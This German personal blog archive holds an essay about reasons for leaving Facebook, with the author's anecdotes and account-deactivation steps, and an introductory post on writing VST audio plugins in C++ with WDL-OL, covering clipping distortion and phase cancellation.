Archiv der Kategorie: Allgemein

Allgemeine Dinge so rund um das Leben und Interessensgebiete die in keine Kategorie passen…

Mindestens 20 gute Gründe um Facebook zu verlassen…?

Vorwort

Hallo lieber Besucher!

Ist es erlaubt einen Alltagsbestandteil, der regelmäßig seinen Platz in hiesigen Medien wie der Tagesschau einnimmt, zu hinterfragen?

Ja, auf jeden Fall! Ich möchte Dir als ehemaliger Vielnutzer meine gewonnene Erkenntnis in diesem Artikel näher bringen. Gerade wenn Du der Meinung bist, du verbringst zu viel Zeit im virtuellen Raum, der für den konservativen, durchschnittlich 45-jährigen Orthonormalverbraucher bereits etablierter Standard ist, solltest Du dir meinen Artikel in Ruhe durchlesen.

Seid ihr genervt durch das stetige Wachstum der Anzahl an Moralisten (z.B. Hobby-Datenschützer…)? Durch das Meiden von Facebook entgeht man der voranschreitenden Moralisierung von Social Media. Ohne Moral geht es nicht. Aber wir moralisieren alles – und das ist falsch. Nun kann keine Gesellschaft (oder Facebook-Bevölkerung) ohne Moral funktionieren – also ohne einen Kodex, der das Verhalten jenseits des Gesetzes normiert. Diesen Kodex nennen wir Anstand.

Ich halte Facebook für eines der größten Irrtümer unserer IT-affinen Gesellschaft, ebenbürtig eines Lasters wie dem Rauchen. 

Wenn die Leute es dafür nutzen, wofür es vorgesehen ist, ist es wie Big Brother oder Reality TV auf RTL2 mit Daniela Katzenberger oder den Geissens – und Du bist der C-Promi.

Ob Du jetzt im Urlaub warst, auf einem Festival, beim Sport machen, beim Musik machen, beim Wandern oder einfach am Relaxen… Du teilst Deine Impressionen und fragst Dich zugleich, ob das jetzt zu viel Selbstdarstellung war? Beobachtest Du manchmal akribisch die Anzahl Deiner Likes und überlegst wen du zurückliken solltest oder gar musst? Findest Du das sogar jämmerlich? Ist anderen Personen bereits aufgefallen, dass Du sehr oft auf Facebook bist? Teilst Du öfters Artikel um dazu beizutragen, dass der News-Feed Deiner Freunde zu einer besseren Tageszeitung wird? Lacht Dich der Teilen-Button ständig an? Glaubst Du, das macht Dich interessanter? Brauchst Du Aufmerksamkeit?

Wenn Du zumindest eine Dieser Fragen bejast, unterliegst Du einem Zwang der Dich ein Stück Deiner Freiheit beraubt. Ich möchte Dir mit ein paar Fakten zeigen, dass man sich viel besser und freier fühlen kann, wenn man Facebook meidet ohne es jemals zu vermissen.

Probiere es einfach mal aus und lege den Stress, den Du Dir selber auferlegst hast, ab.

Falls Du jetzt nicht neuguerig geworden bist, solltest Du jetzt aufhören diesen Artikel zu lesen.

Die scheinbar veralteten Einkanalmedien wie Rundfunk, Fernsehen und Zeitungen rühren heftig die Werbetrommel, indem sie auf ihre eigenen Facebookpräsenzen verweisen und mit Schlagzeilen über Datenschutz, Cybermobbing, das Geschäftsmodell und lachsem Umgang mit persönlichen Informationen Facebook ständig thematisieren. Facebook ist die eierlegende Wollmilchsau unter den Socialmediadiensten und sammelt daher jede Zielgruppe. Der Trend in unserer aufgeklärten Gesellschaft geht aber wohl eher zu Microservices wie Instagram, Snapchat, Xing/LinkedIn… also Plattformen die nicht vorgeben alles zu können und ihre Möglichkeiten/den vorgesehenen Verwendungszweck/ihre Intention auf eine Zielgruppe einschränken. Die meisten Leute kommunizieren lieber gezielt, anstatt nur „auf Facebook zu sein“.

Du bist auf dieser Seite gelandet, weil Du darüber nachdenkst, Facebook zu verlassen. Es gibt viele aktive Facebook-Nutzer, die schon einmal den Entschluss gefasst haben, Facebook zu verlassen. Es gibt aber auch genug passive Facebook-Nutzer, die sich ihrer virtuellen Existenz gar nicht mehr bewusst sind. Letztere können dermaßen unbewusst Facebook anwenden, dass sie angeblich gar nicht mehr wissen, woher ihre Informationen über eine andere aktive Person stammen. Sie sind über Deine Facebookaktivitäten informiert, gehören aber zu der Gruppe der Nicht-Poster und Nicht-Liker. Wenn Sie sich mal als Facebooknutzer outen, erkennt man Sie an solchen Sätzen wie:

  • „Ich nutze Facebook nur als Veranstaltungskalendar, ich poste da nichts!“
  • „Ich nutze Facebook nur als Geburtstagskalendar, ich poste da nichts!“
  • „Ich nutze Facebook nur als ….., ich poste da nichts“
  • „Für mich ist Facebook Unterhaltung, ich poste da nichts!“
  • „Facebook wird doch nur aktiv von Singles genutzt.“

Der typische „Ich-habs-nicht-nötig-Typ“ hat mit Facebook abgeschlossen, geht aber nicht den Schritt seinen Account zu löschen… Warum weiß er selber nicht. Aber offensichtlich hat er Angst etwas zu verpassen!

Besonders interessant sind Aussagen von Facebook-Kritischen, wenn man wissen möchte, woher sie trotzdem wissen, was man selber gepostet hat. Dann kommen häufig solche Erklärungsversuche:

  • „Ich hab mich bei Facebook schon seit Jahren nicht mehr eingeloggt, aber ich bekomme ja ständig Mails wenn du was postest auf eine eMail-Adresse die ich ehe nur ganz selten abrufe…“

Nicht selten hat diese Personengruppe, die ich gerne als E-Zombies bezeichnen möchte, ihren Chat-Status deaktiviert und ihre Privatsphäreeinstellungen dermaßen eingeschränkt, dass sie für den aktiven Nutzer, der seine Wahrnehmung auf den News-Feed oder aktive Chatpersonen fokussiert, ganzheitlich unsichtbar sind. Der E-Zombie ist allerdings klar differenziert zum Smombie (Smartphone Zombie) zu betrachten, da er in der Regel nicht die Ehrlichkeit besitzt in der Öffentlichkeit Facebook zu nutzen.

Die Gründe für den Austritt aus Facebook sind oftmals unterschiedlich, je nachdem welcher der folgenden beiden Nutzergruppen man am ehesten zugeordnet werden kann:

Der aktive Exhibitionist: Er postet und teilt gerne Beiträge.
Der passive Stalker: Er postet nie etwas, sondern liest Beiträge.

Jeder dieser Typen hat unterschiedliche Gründe warum er bei Facebook ist, wobei der Stalker dem aktiven Facebook-Nutzer unzweifelhaft weniger Angriffsfläche bieten kann, denn er bietet dem passivem Nicht-Poster und Nicht-Liker die gleiche Bühne wie die Teilnehmer des Dschungelcamps dem Realitiy-TV-Gucker. Der einzige Unterschied ist, dass er sich unentgeltlich zur Schau stellt und nicht wie Gina-Lisa Lohfink 190.000 EUR dafür bekommt. Es kann ja auch nicht jeder so klever sein wie Gina-Lisa oder?

Ist nun der Facebook-Stalker besser dran als der Facebook-Exhibitionist? Nein! Wer sich schon einmal mit der Kunst des Glücklichseins befasst hat, weiß dass der Zugang zu dieser durch bestimmte Verhaltensregeln ermöglicht werden kann:

Könnten wir den Irrglauben haben, dass unser Facebookkonto einen Teil unseres Glücklichseins bestimmt? Trägt Facebook dazu bei, dass wir unser Leben mit anderen Personen vergleichen? Leben wir im jetzt, wenn wir über die Beiträge anderer Nutzer scrollen? Bewundern wir die anderen Menschen und macht uns das glücklich?

Wenn man den Entfernungsgrad einer Facebookfreundschaft gewichtet, kann man anhand der folgenden Matrix die Wirkung von Beiträgen auf den „Empfänger“ eines Postings abschätzen:

nutzermatrix

Wir schauen uns diese 4 Quadranten an und überlegen uns ob wir in der Rolle des Posters (Sender) oder des Lesers (Empfänger) sind und welche Wirkung ein Beitrag von uns/auf uns hat.

Zusätzlich existieren noch weitere Faktoren:

  • Als Empfänger: Ist mir die postende Person sympathisch? Kann sie etwas machen, was mich unzufrieden macht? Könnte ich neidisch auf die Person sein? Komme ich auf die Idee, ihr Leben mit meinem Leben zu vergleichen?
  • Als Sender: Mag mich die lesende Person? Kann ich etwas machen, was diese Person beeindruckt? Sind wir gleichgesinnte? Finden wir die gleichen Dinge interessant? Bekomme ich echte Anerkennung in Form von Likes und Kommentaren, für das was ich bin?

Kommt es nicht auch auf das an, was man postet?

Ich persönlich würde mich eher in die Gruppe der aktiven Spaßnutzer eingliedern, die auch gerne über sich selbst lachen können. Ich liebe Situationskomik und finde auch die Vorstellung lustig, etwas zu posten wo andere mitlachen könnten. Ich teile gerne Musik, die ich gut finde und habe teilweise auch versucht, mit selbstgemachter Musik Leute zu erreichen. Ich wollte meine Musik nicht verkaufen, sondern lediglich meine Leidenschaft für das Musikmachen teilen, wodurch ich mir auch Anerkennung erhoffte.

Leider habe ich mit diesem Verhalten auch schon sarkastische Reaktionen unter Arbeitskollegen und entfernteren Bekannten ausgelöst, die eher dazu neigen selbstdefinierte Benimm-Dich-Regeln und Moralvorstellungen im Kreis selbsternannter Datenschutzexperten zu erörtern, anstelle sich über die Qualität meines Esprits zu amüsieren oder sich meiner Musik zu erfreuen ;-).

Wie sind wir überhaupt bei Facebook gelandet?

Viele Facebook-Nutzer in meinem Alter waren vorher Mitglied der Social Networking Plattform StudiVZ, die sich in Ihren Anfängen in Deutschland einer weitaus größeren Bekanntschaft als Facebook erfreute. StudiVZ wurde kommerziell und für viel Geld an den Axel Springer Verlag verkauft. Ich erinnere mich an eine Empörungswelle, die einer neuen AGB geschuldet war, welche als Inhalt die Nutzer-Zustimmung für personenbezogene Werbung forderte. Diese AGB’s wurden in StudiVZ-Gruppen boykottiert und bedeuteten für die Meisten das Öffnen der Büchse der Pandora.  Ab diesem Zeitpunkt gab es noch weitere Netzwerke wie „Wer-kennt-wen“, „Lokalisten“ usw…, die sich anfänglich großem Zuspruch erfreuten. Sie alle konnten ihre Position leider weder ausbauen, noch halten.

Die Konsequenz war eine Abwanderungswelle zu dem wesentlich unsichererem, aber angesagterem Facebook-Netzwerk. Der Datenschutz war wirklich grauselig, es gab teilweise solche Anzeigen wie

Die folgenden Ihrer Facebook-Freunde haben bei Doc Morris „Die Pille danach“ bestellt (überspitzt)…

oder

Die folgenden Ihrer Facebook-Freund spielen Starcraft II…

Diese Nachrichten verschwanden nach einiger Zeit, und nachdem meine Generation als vermutlich erste Facebook erorbert hatte, kamen viele jüngere aber auch wesentlich ältere Nutzer hinzu. Im Allgemeinen ist der Alterdurchschnitt bei Facebook stark angestiegen. So liegt er seit 2015 bei stolzen 45 Jahren.

Jüngere Generationen lehnen bereits den Beitritt zum mächtigsten Social Network ab, denn wer teilt schon gerne Beiträge, die von den eigenen Eltern gelesen werden?

Gründe für den Ausstieg aus Facebook

Vermutlich haben die meisten modernen Eltern eine Absprache mit Ihren Kindern, dass sie sich gegenseitig nicht in Ihre Freundesliste aufnehmen.

Kontolliere ich hingegen mal bewusst meine Freundesliste, sehe ich eine über ein Jahrzehnt historisch gewachsene Kontaktanhäufung, die aus einer Zeit stammt, in der man an einer Hochschule studiert hat und einfach Kontakte gesammelt hat. Da sind sowohl Leute dabei, mit denen man eigentlich nie, als auch Personen, mit denen man schon länger nicht mehr zu tun hatte dabei.

Man sieht ein paar alte Klassenkameraden und Freunde, die offensichtlich einen starken Persönlichkeitswandel hinter sich haben. Diese wohnen mittlerweile großräumig verteilt in ganz Deutschland, man hatte jahrelang keinen Kontakt mehr und es ist fragwürdig ob man diesen jemals wieder bekommt oder gar benötigt.

Dann gibt es noch einige Arbeitskollegen aus dem Konzern, in dem ich seit ca 10 Jahren arbeite, die inzwischen in andere Abteilungen und Gebäuden ansäßig sind und die ich auch seit Jahren nicht gesehen habe. Teilweise besteht sogar ein Auftraggeber- oder Kundenverhältnis mit diesen Abteilungen.
In einer dieser Abteilungen erlebte ich mit, wie sich sowohl die Vorgesetzten als auch Kollegen über das Aussehen von Azubinen über Facebook informierten, bevor diese in die Abteilung kamen. Einige Azubinen hatten auch sehr offenherzige Bilder von sich, die man als Mann natürlich gerne anschaut.
Desweiteren gibt es auch Arbeitskollegen aus dem näherem Umfeld und dem gleichem Bereich, die aber in einem anderem Gebäude sitzen. Wenn man dann am Frühstückstisch mitbekommt, das diese sich über die eigenen, geteilten Facebookinhalte unterhalten, oder man über Dritte mitbekommt, das sich darüber unterhalten wurde, bekommt man ein leicht paranoides Gefühl, da sehr karrierebedachte Kollegen konkurrierend das Herablassen von anderen Kollegen verwenden um den eigenen Status  vor Vorgesetzten zu erhöhen oder zu festigen.

Nachdem die Anfangseuphorie und Neugierde auf Facebook verblasst war, entwickelten sich individuelle Moralvorstellungen und undokumentierte Benimm-Dich-Regeln über das Teilen und Posten von Beiträgen. Es ist nicht mehr cool und datenschutzmäßig ein Desaster alles zu posten. Die gesellschaftliche Auffassung und der Ruf über aktive Facebook-Nutzer hat sich in der Form geändert, dass die Ursprungsidee teilweise nicht mehr erkennbar ist.

„Ich poste da nichts, ich benutze Facebook nur als Geburtstagskalendar!“

„Ich nutze Facebook nur, um mich über Veranstaltungen zu informieren, ich poste da nichts…“

Weiß noch jemand was der vorgesehene Verwendungszweck von Facebook war? Man muss dazu nur einen Blick auf das Feld werfen, in dem in grauer Schrift als Wasserzeichen der Text „Was machst du gerade?“ steht.

Das Posten von Beiträgen auf Facebook dient auf einmal nur noch der Selbstdarstellung und Befriedigung der eigenen Profilsucht. Es gibt genügend „Anstand-Wau-Wau’s“ die die Selbstdefinition von Benimm-Dich-Regeln, Posting-Moral und Netiquette (diese kennen das Wort meistens nicht) zu Ihrer Tagesordnung gemacht haben und dabei eine stille, passive Stalker-Rolle einnehmen. Diese Art von Nutzer fühlt sich oft als Datenschutzexperte und belehrt mit erhobenem Zeigefinger die aktiven Nutzer mit dem Umgang ihrer eigenen personenbezogenen Daten.

„Du hast WhatsApp? Lösche mich aus deinem Adressbuch, sonst hat Facebook meine Nummer auch! Nutze am Besten Threema“

Durch meine IT-Affinität und die Nutzung von Social Networking Diensten wurde mir mal unterstellt, ich wäre ein potentielles, passendes Mitglied der Piratenpartei. Dabei halte ich von solcher Datenschutz-Panikmache überhaupt nichts. Ich habe doch nichts zu verbergen …

Nun ist mir im Laufe der letzten Jahre der immer unpersönlicher gewordene News-Feed übel aufgefallen. Da gab es doch mal eine Zeit, an der Leute Urlaubsfotos und persönliche Ereignisse teilten. Solche Beiträge werden mir nur noch sehr selten angezeigt. Der News-Feed besteht fast nur noch ausschließlich aus Rauschen:

  • Empfohlene Beiträge
  • Polarisierende politische Meinungen
  • Sprüche, die in Form von Bildern mit großem Text geteilt oder gelikt werden
  • Geteilte Artikel vom Postillion, Focus, Spiegel, Welt und Stern

Jetzt habe ich auch von den Möglichkeiten gehört, den News-Feed anzupassen, aber ich möchte gerne einen News-Feed haben, den alle Nutzer gleichermaßen wie ich sehen. Ich will keine Beiträge von Nutzern sehen, die meine nicht sehen/nicht sehen wollen. Ich will diese auch nicht liken. Aber woher soll ich wissen wer meine Beiträge sieht und wer nicht? Da läuft ein Social-Algorithmus, der für mich entscheidet welche Inhalte ich sehen will und welche Inhalte andere von mir sehen. Ich habe keine Ahnung nach welchen Kriterien dieser funktioniert, sondern lediglich das er ein Geheimnis von Facebook bleibt. Wie oft hat man sich schon über die Reihenfolge der Freundesliste Gedanken gemacht? Da gibt es angeblich einen internen Interaktionsgrad, der diese Liste ordnet. Dieser Interaktionsgrad ist davon abhängig, wie oft man jmd. liket, von ihm geliket wird, mit ihm chattet und wie häufig dieser in Facebook online ist. Facebook behauptet steif und fest, er würde nichts damit zu tun haben, wie oft jemand das eigene Profil besucht. Kann man das glauben? Ich habe eine hochgerankte Person in meiner Liste, die niemals etwas von mir liket und mit der ich nur einmal gechattet habe. Warum sollte man jemanden in der Freundesliste ganz oben anzeigen, wenn dieser häufig online ist? Sind andere nicht mehr so häufig online? Bin ich alleine? Verlassen die Ratten das sinkende Schiff und sitze ich bald isoliert vor einem konfus generiertem News-Feed?

Befragt man Google nach der Anzahl aktiver Nutzer in Facebook, stolpert man über einige Artikel, in denen Facebook zugibt, es habe seit längerer Zeit Probleme mit einem prozentual immer größer werdenden Anteil inaktiver User. Die aktiven Nutzer werden immer weniger, die Anzahl passiver Nutzer steigt. Ich würde dieses Phänomen hauptsächlich der Ablehnung des Postens persönlicher Inhalte zuschulden.

Wenn man nun die unzähligen Stunden aufrechnen würde, die man in Facebook verbracht hat, würde man die verschwendete Lebenszeit für etwas sinnvolles nutzen? Wer saß schon fiebernd vor einem gerade veröffentlichtem Beitrag und hat im Dauerfeuer die F5-Aktualisierungstaste gedrückt um die Reaktion auf einen Beitrag zu sehen? Drückt einer auf den „Gefällt mir“-Button oder schreibt einen Kommentar?

Wer hat sich schon über die ausbleibende Reaktion von „Freunden“ auf eigene Beiträge geärgert, obwohl man auf deren Beiträge öfters reagiert hat? Ich habe sogar schon mal einen angesprochen, den ich markiert habe, ob er den Artikel nicht wenigstens Liken will, damit andere in meiner Liste nicht denken ich würde konfusen Kram posten… es handelte sich um einen Fachartikel, den nur er verstehen konnte. Ich wollte damit vermutlich anderen Usern zeigen, dass wir uns für wissenschaftliche Dinge interessieren.

Wer hat sich schon mal über Personen gewundert, die einem in Facebook hinzugefügt haben, aber niemals auf gepostete Beiträge reagieren? Was bezwecken diese Leute damit?

Hat schon mal jemand die Erfahrung gemacht, wie uncool es sein kann im echten Leben auf Facebook-Postings angesprochen zu werden, die im Kontext von Facebook lustig waren? Was denkt sich diese Person? Ich habe damit mal eine Arbeitskollegin verärgert, die ich beim Weißwurstessen in der Kantine auf ihr Oktoberfest-Dirndl im Facebookprofil ansprach. Sie erzählte mir, dass sie keine Weißwurst mag und ich meinte: „Das hätte ich von dir nicht gedacht als ich dein Facebook-Profil gesehen hatte!“. Am nächsten Tag stellte ich fest, dass sie mich aus Ihrer Liste entfernt hat. Ich hatte am Arbeitsplatz mal ein Video mit dem Smartphone aufgenommen, in dem ich einen Stift mit einem Gummi weggeschossen hatte, welches an einem Firmen-Notizblock dran war. Ohne dieses Video zu erwähnen zeigte ich dies einem älterem Kollegen der auf einmal sagte: „Das hab ich doch schon auf einem Video gesehen!“. Ich hab dann erstmal gar nichts gesagt. Er dann wieder: „Hast Du davon ein Video gedreht?“. Ich habe dann gefragt: „Wer hat dir das denn gezeigt?“. Er darauf: „Das weiß ich nicht mehr aber ich hab das gesehen!“. Ich dann verlegen: „Das hab ich ja schon gelöscht!“. Ich hatte dies wirklich am Vorabend entfernt, da meine Frau zu mir sagte, ich solle keine Videos von der Arbeit posten, weil das andere ja auch nicht machen und was ich denn davon hätte… Ich hab dann nur gehofft dass das nicht an den Datenschutzbeauftragten, der auch Material mit dem Umgang von Social Media austeilte, gegangen ist.

Dann gibt es in Anlehnung daran die Situation, das man an einem Tisch erzählen möchte, was man am Wochenende gemacht hat und der Gesprächspartner erwidert: „… hab ich schon bei Facebook gesehen“! Wenn man viel bei Facebook postet muss man gar nichts erzählen, denn es lesen ja scheinbar doch mehr Leute, als man denkt.

Kennt jemand die Situation, in der man eine Freundschaftseinladung von einer Person erhält, mit der man eigentlich gar nichts persönliches teilen möchte, aus gesellschaftlicher Sicht aber gezwungen ist die Einladung zu akzeptieren? Z.B. handelt es sich bei der Person um einen Vorgesetzten, einen Zyniker oder einen sarkastischen, polemischer Mensch. Wie würde dieser reagieren, wenn man nicht auf den Bestätigen-Button klickt? Was würde er denken? Wäre er böse und hätte das Nachteile in meinem Leben?

Hat schonmal jemand einen Bekannten bei einem Kinobesuch markiert, der sich dann mit „Jaja – ganz toll!“ geärgert hat? Oder hat jemand eine andere Person auf einem Spruch markiert, den er lustig fand und wurde anschließend darum gebeten die Markierung wieder zu entfernen? Habe ich alles schon erlebt ;-).

Nachdem ich nun viele negative Erfahrungen geschildert habe, müssen wir uns auch mal fragen, ob es nicht auch Gründe gibt bei Facebook zu bleiben.

Gründe bei Facebook zu bleiben

Wie ich bereits eingangs erwähnte, bin ich ein großer Freund von Situationskomik und allgemeinem Quatsch-Postings. Ich liebe es etwas zu posten, was ich lustig finde und freue mich auf die Reaktion von anderen Facebooknutzern.

Ich freue mich beim Posten von Beiträgen zu bestimmten Hobbythemen auf Gleichgesinnte zu treffen oder andere Außenstehende dafür zu begeistern.

Ich nutze Facebook für die Pflege von sozialen Kontakten in Zeiten, in denen sich i.d.R. die wenigsten um einen Telefonbucheintrag reißen.

Ich liebe die einfache Anmeldung über den Facebook-Loginbutton bei anderen Diensten wie z.B. Soundcloud, Instagram oder Stackoverflow. Man erspart sich dadurch das nochmalige Anmelden an der Seite, da man im Hintegrund zumeist ehe bei Facebook eingeloggt ist. Außerdem muss man bei der erstmaligen Registrierung die persönlichen Daten nicht nochmals eintippen, da diese bereits bei Facebook gespeichert waren.

Seitdem ich Facebook habe vergesse ich selten Geburtstage und gratuliere sogar entfernteren Bekannten, von denen ich mir niemals einen Geburtstag notieren würde. Ich bekomme im internationalen Umfeld sogar den Geburtstag von Arbeitskollegen in anderen Ländern mit und kann dieses Wissen z.B. bei Videokonferenzen anbringen, indem ich andere Kollegen vorinformiere.

Durch meine mobilen Uploads habe ich viele Erinnerungsfotos und Beiträge gesammelt, die mir die zeitliche Dimension (wann war was?) von Ereignissen dokumentieren. Ich habe auf Facebook Ereignisse wie meine Hochzeit, die Geburt unseres Sohnes und vergangene Urlaube gepostet. Ich kann mit Datum genau sagen, wie lange ein Urlaub schon her sind.

Vorgehensweise

So sind wir also an dem Punkt angekommen, an dem wir über die Beendigung unserer virtuellen Facebook-Existenz ansatzweise nachdenken. Natürlich sind wir uns noch nicht ganz sicher und möchten unsere gesammelten Erinnerungen nicht verlieren. Der beste technische Weg wäre daher das „Deaktivieren“ unseres Kontos.
Dies erreichen wir rechts oben durch das Anklicken des Nach-Unten-Pfeils und der Auswahl von „Einstellungen“. Auf der linken Seite erscheint ein Navigationsmenü, in dem wir den Punkt „Sicherheit“ auswählen. Auf der rechten Seite erscheint der Link „Deaktivieren des Kontos“ wo wir auf „Bearbeiten“ klicken und den Anweisungen am Bildschirm folgen.

Wir verlieren hierdurch nichts, sondern unser Konto wird lediglich unsichtbar in der Suche und das Profil ist nicht mehr anklickbar. Unsere Beiträge, Likes und Kommentare werden verschwinden, tauchen aber beim Reaktivieren wieder auf.
Das Reaktivieren ist leider sehr einfach: Man muss sich lediglich mit seinem alten Passwort wieder anmelden. Daher empfehle ich dringend das Passwort vorher auf eines zu ändern, das man sich nicht merken kann und dieses auf einen Zettel zu schreibe, den man in einer Schublade gut versteckt. Es kann Situationen geben, bei denen wir unser Facebookkonto wieder brauchen. Wenn wir uns auf anderen Seiten wie Soundcloud, Stackoverflow, Instagram… usw… einen Account mit dem Facebookloginbutton angelegt haben, gibt es oft keine andere Möglichkeit an diese ranzukommen.

Sollten wir nach ein paar Monaten unser Facebook nicht vermissen, können wir im nächsten Schritt das Profil dauerhaft löschen, wobei alle unsere Inhalte verloren gehen.

Technische Probleme beim Dekativieren des Kontos

Seiten, die den Facebooklogin nutzen, reaktivieren den Account beim Einloggen. Wenn man z.B. Musik auf Soundcloud hochgeladen hat, kann man auf diese erst wieder zugreifen, wenn man sich über den Facebook-Login Button einloggt. Danach muss man sein Facebookkonto wieder deaktivieren.

Manche Nutzer haben Facebook-Seiten angelegt, die sie entweder löschen oder an einen anderen User (als Administrator) übertragen müssen bevor sie das Konto deaktivieren können.

Das Experiment kann beginnen

Tag 1: Ich habe mein Facebookkonto deaktiviert und versehentlich ein paar mal wieder aktiviert, als ich mich bei Soundcloud eingeloggt habe. Bisher hat mich noch keiner darauf angesprochen oder vermisst. Ich habe mein Passwort in ein kryptisches geändert, so dass ich nicht auf die Idee komme mich unkontrolliert einzuloggen.

Tag 2: Ein Bekannter hat sich beschwert, das ich nicht mehr bei Facebook bin und er mich gerade angeschreiben wollte, weil er jemanden braucht, der ihm gelegentlich bei seiner Firma aushilft (mittlerweile hab ich bei ihm monatlich einen guten Nebenverdienst… )

Tag 24: Mein Geburtstag … eigentlich würde ich jetzt andauernd auf Facebook schauen wer mir gratuliert hat … am Ende waren es ca 15 Leute anstelle von 150 🙂

Tag 53: Als Placebo poste ich gelegentlich ein Bild auf Instagram, vermissen tue ich Facebook nicht. Vermutlich war der News Feed bei mir bereits ehe zu konfus, als das ich soziale Kontakte vermissen könnte 🙂

VST Plugins in C++ mit WDL-OL: Signalverarbeitung durch INSERT-Effekte und ihre Auswirkungen

Intention

In diesem Artikel dokumentiere ich meine ersten Erkenntnisse, die ich als Informatiker, Musiker und Cubase-Benutzer bei der Entwicklung von VST Plugins in C++ mache. Der Artikel wirkt daher sehr Ich-bezogen, da ich mich auf meinen eigenen Explorations-Lerntyp konzentriere. Ich bin allerdings kein Egozentriker :-/ …

Vorwort

Als musik- und programmierbegeisterterter DAW-Nutzer (ich bin Cubase Fan), fehlt einem oft noch der Draht zu der eigentlichen Audiosignalverarbeitung, die sich durch (Hall-/Echo-/Sustain-…) Effekt-Algorithmen und Heuristken manifestiert und dem eigentlich Werkzeug das Leben einhaucht, dass es benötigt um eine Audioverarbeitungsaufgabe mit mathematischen Modellen zu erfüllen.

Es ist mir als Informatiker bewusst, dass digitale Signale über eine Soundkarte gesendet werden, um dann über einen A/D-Wandler im analogen, physischen Raum Schalldruckschwankungen über Lautsprechermembranen zu erreichen. Ich kenne WAV-Dateien, und weiß dass diese in unterschiedlichen Sample-Raten (44100 Hz, 22050 Hz, 48000 Hz, 96000 Hz… [Samples/Sekunde])  und Auflösungen (z.B. 16 Bit, 24 Bit, 32 Bit float) existieren.

Als Cubase-Nutzer kenne ich die ASIO-Einstellungen (Menü Geräte –> Geräte konfigurieren) und habe bereits den Parameter Buffer Size bemerkt, welcher sich proportional auf die Eingangs- und Ausgangslatenzen, sowie reziprok auf meine CPU-Auslastung auswirkt.

asio_buffer_size

Als Musiker weiß ich geringe Latenzzeiten natürlich zu schätzen :-). Wer kann schon ein Instrument mit dem richtigen Timing auf den Takt einspielen, wenn er das akustische Ergebnis verzögert hört.

Nach dem Artikel Rechenlast beim Mixen verringern aus der c’t musik kreativ 2016 – S. 113 splittet man aufgrund dieses Buffers die Aufnahme in 3 Teile:

  1. Aufnahmephase: Alle komplexen INSERT-Effekte rausnehmen, kleine Sample Buffer einstellen, alle Spuren in Mono Aufnehmen die nicht zwingend Stereo sein müssen (Gesang, Kick, Bass….). Der Mix wird hierdurch auch transparenter, wenn man die Mono-Spuren im Nachgang im Stereopanorama verteilt.
  2. Mixingphase: Aufwendige Effekte hinzuschalten, Sample-Buffer erhöhen
  3. Masteringphase: Rohmix auf Stereospur mit 24-Bit Wortbreite rendern, hohen Sample-Buffer einstellen, so dass man die Masteringeffektkette wieder auf 96 khz fahren kann.

VST Insert-Effekte

Das Grundgerüst

Nachdem ich nun mit dem WDL-OL Framework von Oli Larkin und Visual Studio 2015 ein kompilierfähiges C++-Grundgerüst dank des Tutorials von Martin Finke erzeugt hatte, bemerkte ich schnell den Anwendungsbereich der Signalverarbeitung, der sich für mich anfänglich unkompliziert durch Probieren und Testen offenbaren sollte. Dabei machte ich ein paar (für den Profi triviale) Feststellungen, die ich hier niederschreiben möchte.

Wie sieht nun ein INSERT-Effekt in C++ aus? Was bekomme ich von der DAW von außen geliefert? Was kann ich damit machen? Wie gebe ich es an die DAW zurück?

basic1

In C++ passiert bei einem INSERT-Effekt alles in der Funktion „ProcessDoubleReplacing“, die als Übergabeparameter

  • die Amplitudenwerte des zu bearbeitenden Signals (*input)
  • die Amplitudenwerte des bearbeiteten Signals (*output)
  • die Puffergröße der ASIO-Einstellungen (hier 512)

als Zeiger erhält. Da diese Zeiger auf den tatsächlichen Wert im output-Buffer zeigen, kann die Funktion ohne Rückgabeparameter auskommen und wird VOID deklariert.

Digitale Verzerrung

Einer der einfachsten INSERT Effekte ist die digitale Verzerrung, bei der lediglich die Amplituden abgeschnitten werden müssen. Im Gegensatz zu einer weichen „analogen“ Verzerrung, wie sie durch die Röhren eine Gitarrenverstärkers statt finden kann und durch die Klangcharakteristik eines hart aufgehängten Lautsprechers in ihrer „Wärme“ abgerundet wird, legt die digitale Verzerrung lediglich durch das Abschneiden von Amplituden (auch Clipping genannt) wert auf Distortion / Verzerrung um jeden Preis.

Ein Gitarrenröhrenverstärker fügt dem Signal zunehmend geradzahlige Harmonische (Obertöne) zu und das Signal wird zunehmend weich begrenzt (soft clipping – Wärme).

Bei der digitalen Verzerrung nähern wir uns einer Rechteckform des Signals an (hard clipping – Digitale Verzerrung).

softvshardclipping

Links: Hard-Clipping (Digitale Verzerrung)
Rechts: Soft-Clipping (Wie bei einer Röhre)

Der Hard-Clipping-Algorithmus (links) flacht also nicht wie rechts die Spitzen ab sondern nimmt einfach den überschreitenden Wert als gegebenes Maximum hin. Programmiert sieht das folgendermaßen aus:

mainfunction

mThreshold: Beinhaltet einen Wert zwischen 0 und 1, der mit einem Regler eingestellt wurde.

fmin(): Gibt hier den input-Amplitudenwert zurück, es sei denn mThreshold wird überschritten – dann wird mThreshold zurückgegeben.

fmax(): Gibt den input-Amplitudenwert zurück, es sei den mThreshold wird unterschritten, dann wird -mThreshold zurückgegeben.

 

Oszillation auf die Welle „draufmodulieren“

Ich schrieb eine Klasse „Oscillator.cpp“, die eine Sinus- bzw. Cosinusschwingung generierte. Zunächst dachte ich, dass das simple „addieren“ einer Welle auf die andere eine völlig andere Klangcharakteristik erzeugen würde…. aber es erzeugte eher etwas wie das „Zusammenmischen“ von zwei Signalquellen, so als ob man ein Signal mit dem Mischpult in das andere „reindreht“. Wenn ich so recht drüber nachdenke kann ein Lautsprecher ja auch nur „eine“ Welle erzeugen… diese Welle muss sich aber je Signalquelle unterscheiden… Man erreicht also das „Mixen“ mehrerer Signalquellen durch das aufaddieren von Schwingungen. Und an dieser Stelle wird einem auch klar, dass eine natürliche Schwingung, beispielsweise der Ton eines Instrumentes, aus mehreren Teilschwingungen besteht und nur durch unsere Erfahrung als zwei oder mehrere unterschiedliche Signalquellen interpretiert werden kann. So hat zum Beispiel bei einem Schlagzeug die Bass-Drum einen hohen „Klick-Anteil“, einen druckbringenden „Körper-Anteil“ und einen tiefen „Bass-Anteil“, den man über einen Equalizer separieren kann, und der sich alleinstehend völlig anders anhört.

basic3

Phasenauslöschung: Wenn sich Wellen gegenseitig auslöschen

Ich richtete den linken und den rechten Kanal nun aufeinander und dachte dass sich das „zugemischte“ Signal durch die 180 Grad Phasenverschiebung (um PI) vollständig auslöschen müsste. In Wirklichkeit wurde es aber nur leiser. Ich vermutete, dass hier die kreisförmige Ausdehnung des Schalls aus den Boxen eine Rolle spielt. Wenn man dies bereits im Rechner macht, ist das Resultat bekanntermaßen Stille.

